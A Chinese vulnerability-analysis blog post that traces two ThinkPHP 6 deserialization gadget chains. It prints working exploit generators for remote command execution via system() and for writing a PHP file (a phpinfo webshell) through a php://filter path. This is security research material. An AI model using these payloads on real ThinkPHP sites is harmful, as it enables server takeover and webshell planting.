下面由thinkphp教程欄目給大家介紹關(guān)于thinkphp6的另反序列化分析,希望對(duì)需要的朋友有所幫助!
Forward
之前分析過tp6的一個(gè)鏈;當(dāng)時(shí)是利用__toString方法去進(jìn)行的中轉(zhuǎn),從而實(shí)現(xiàn)前后兩個(gè)鏈的鏈接,這次是兩個(gè)另外鏈條;利用的是可控類下的固定方法進(jìn)行中轉(zhuǎn);開始分析;
首先環(huán)境可以composer一鍵搭建,然后php think run進(jìn)行跑起來就可;
本文涉及知識(shí)點(diǎn)實(shí)操練習(xí):ThinkPHP5遠(yuǎn)程命令執(zhí)行漏洞(通過該實(shí)驗(yàn)了解ThinkPHP5遠(yuǎn)程命令執(zhí)行漏洞的原因和利用方法,以及如何修復(fù)該漏洞。)
text
首先的想法就是利用析構(gòu)函數(shù)進(jìn)行最開始的觸發(fā);然后一路追蹤魔法函數(shù)去進(jìn)行一步一步的推導(dǎo);首先找到魔法函數(shù)在AbstractCache類下;
protected $autosave = true;public function __destruct(){ if (! $this->autosave) { $this->save(); }}
其代碼如上;可以看到autosave可以可控;這里我們可以手動(dòng)給其復(fù)制為false;從而可以觸發(fā)save方法;
回溯save方法;在CacheStore中找到了save方法;具體代碼如下;
public function save(){ $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);}
可以看到其調(diào)用了getForStorage方法,然后將其賦值給$contents變量。這里追隨一下這個(gè)方法;
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);}
發(fā)現(xiàn)首先調(diào)用了cleanContents方法;然后在調(diào)用了json_encode方法,這里首先回溯一下cleanContents方法;
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', 'md5', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents;}
首先在這里看到了array_flip方法;這個(gè)方法是將數(shù)組的鍵名和鍵值進(jìn)行替換;然后數(shù)組賦值給$cachedProperties變量;然后將我們傳入的參數(shù)按照$path和$object的格式來進(jìn)行各個(gè)遍歷;然后將鍵名經(jīng)過is_array方法的判斷如果為true則進(jìn)行后續(xù)的函數(shù)處理;否則就直接return $content這個(gè)數(shù)組;經(jīng)過這一系列操作完之后,最終是return到了save函數(shù)里;然后接著去進(jìn)行 $this->store->set($this->key, $contents, $this->expire);這里我們發(fā)現(xiàn)store也可控;那么就有兩種思路,第一個(gè)就是去實(shí)例化一個(gè)有set方法的類,或者我們實(shí)例化一個(gè)存在__call方法的類;從而可以因?yàn)樵L問不存在的方法去調(diào)用到call魔術(shù)方法;這里我們先找到一個(gè)有set方法的類;在File類中找到:
public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (Exception $e) { // 創(chuàng)建失敗 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //數(shù)據(jù)壓縮 $data = gzcompress($data, 3); } $data = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data; $result = file_put_contents($filename, $data); if ($result) { clearstatcache(); return true; } return false;}
這里可利用點(diǎn)在后面的serialize方法;直接追溯一下;
protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);}
這里發(fā)現(xiàn)options參量可控;這里就存在一個(gè)問題,如果我們將其賦值為system,那么后續(xù)return的就是我們命令執(zhí)行函數(shù),里面的data我們是可以傳入的,那么我們就可以實(shí)現(xiàn)RCE;
這里放出我自己寫的exp;
<?php#bash回顯;網(wǎng)頁不回顯;namespace LeagueFlysystemCachedStorage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['
id']; }}namespace thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $this->expire = $expire; }}}namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File extends Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 's1mple', 'hash_type' => 'md5', 'serialize' => ['system'], ];}}namespace{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','1111');echo urlencode(serialize($a));}
最后達(dá)到的效果就是system(xxxx);這里當(dāng)時(shí)我測(cè)試沒有回顯,后來將代碼調(diào)試了一下,發(fā)現(xiàn)是system里面參數(shù)的問題,后來我想到linux或者unix下反引號(hào)也是可以當(dāng)做命令執(zhí)行的,而且是可以首先執(zhí)行的;所以我將代碼改了下,嵌入反引號(hào),這樣可以更好的進(jìn)行命令執(zhí)行,但是這樣的缺點(diǎn)就是可以執(zhí)行,但是無回顯;但是我們依然可以進(jìn)行一些惡意操作;
通過這個(gè)鏈,相信可以發(fā)現(xiàn)一些端倪,除了可以rce以外,這個(gè)鏈在最后的利用地方還有一個(gè)file_put_contents這個(gè)也是可以利用的;
下面利用的一些騷姿勢(shì)如果有師傅不太理解,可以看這個(gè)鏈接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/
下面也講述一下;利用鏈和之前的是一樣的;就是最后需要掌控一下filename和data的內(nèi)容;我們可以看到如下圖;
在最后的時(shí)候會(huì)有一個(gè)data的拼接,我本來想著在格式化那里嘗試引入,但是格式化已經(jīng)寫死了,不能利用非法字符進(jìn)行污染格式化引入危險(xiǎn)代碼;所以只能在最后的data處進(jìn)行寫入拼接;現(xiàn)在就是要控制data了;其實(shí)這里data是調(diào)用了serialize方法,追溯一下不難發(fā)現(xiàn)是將數(shù)組option中的serialize的鍵值拿出來套在了data前面;其實(shí)本質(zhì)上也無大礙;但是這里有個(gè)小坑;因?yàn)槭?serialize($data);所以這里要求這樣的搭配必須是正確的,如果你隨意傳入函數(shù),造成比如adsf($data);這樣類型的不規(guī)則函數(shù),就會(huì)導(dǎo)致報(bào)錯(cuò),從而無法進(jìn)行;
明白了這一點(diǎn)其實(shí)還有一個(gè)小坑;其實(shí)option的內(nèi)容我們是可控的;那么我們就可以控制serialize的鍵值進(jìn)行傳入;但是這里因?yàn)橹斑M(jìn)行了json_encode所以一般的函數(shù)最后構(gòu)成的格式都無法進(jìn)行base64解密;但是這里有個(gè)例外,我測(cè)試了serialize函數(shù),發(fā)現(xiàn)經(jīng)過序列化之后,我們可以正常進(jìn)行base64解密;大概是因?yàn)榭梢詷?gòu)成字符串的原因吧;這里放出我的exp;
<?phpnamespace LeagueFlysystemCachedStorage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+']; }}namespace thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $this->expire = $expire; }}}namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File extends Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/convert.base64-decode/resource=s1mple/../', 'hash_type' => 'md5', 'serialize' => ['serialize'], 'data_compress' => false ];}}namespace{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','2333');echo urlencode(serialize($a));}
另外可能有很多師傅困惑在可寫目錄的問題,這里我才用了虛目錄的方法將其定位到了public目錄之下;就在path參數(shù)那里可以體現(xiàn);
最后訪問結(jié)果是執(zhí)行phpinfo;當(dāng)然也可以寫入system這樣的命令執(zhí)行函數(shù);造成木馬利用;